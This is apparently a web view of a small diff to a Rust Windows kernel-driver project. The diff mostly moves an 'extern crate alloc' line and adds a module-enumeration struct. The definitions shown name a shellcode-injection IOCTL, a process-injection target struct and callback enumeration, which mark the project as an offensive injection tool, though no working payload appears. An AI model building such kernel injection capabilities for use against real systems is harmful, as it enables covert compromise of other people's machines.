pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
#![no_std]
|
#![no_std]
|
||||||
|
|
||||||
|
extern crate alloc;
|
||||||
|
|
||||||
pub mod ioctls;
|
pub mod ioctls;
|
||||||
pub mod vars;
|
pub mod vars;
|
||||||
pub mod structs;
|
pub mod structs;
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
extern crate alloc;
|
|
||||||
use crate::vars::Callbacks;
|
use crate::vars::Callbacks;
|
||||||
|
|
||||||
// Callback Information for Enumeration (Output)
|
// Callback Information for Enumeration (Output)
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
extern crate alloc;
|
|
||||||
|
|
||||||
use core::sync::atomic::AtomicPtr;
|
use core::sync::atomic::AtomicPtr;
|
||||||
use super::LIST_ENTRY;
|
use super::LIST_ENTRY;
|
||||||
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
extern crate alloc;
|
|
||||||
|
|
||||||
pub struct TargetInjection {
|
pub struct TargetInjection {
|
||||||
pub pid: usize,
|
pub pid: usize,
|
||||||
|
|||||||
@@ -6,3 +6,11 @@ pub struct ModuleInfo {
|
|||||||
pub name: [u16; 256],
|
pub name: [u16; 256],
|
||||||
pub index: u8,
|
pub index: u8,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Enumerate Modules
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct TargetModule {
|
||||||
|
pub pid: usize,
|
||||||
|
pub module_name: alloc::string::String,
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
extern crate alloc;
|
|
||||||
|
|
||||||
// Stores the target registry
|
// Stores the target registry
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
#[derive(Debug, Default)]
|
#[derive(Debug, Default)]
|
||||||
|
|||||||
Reference in New Issue
Block a user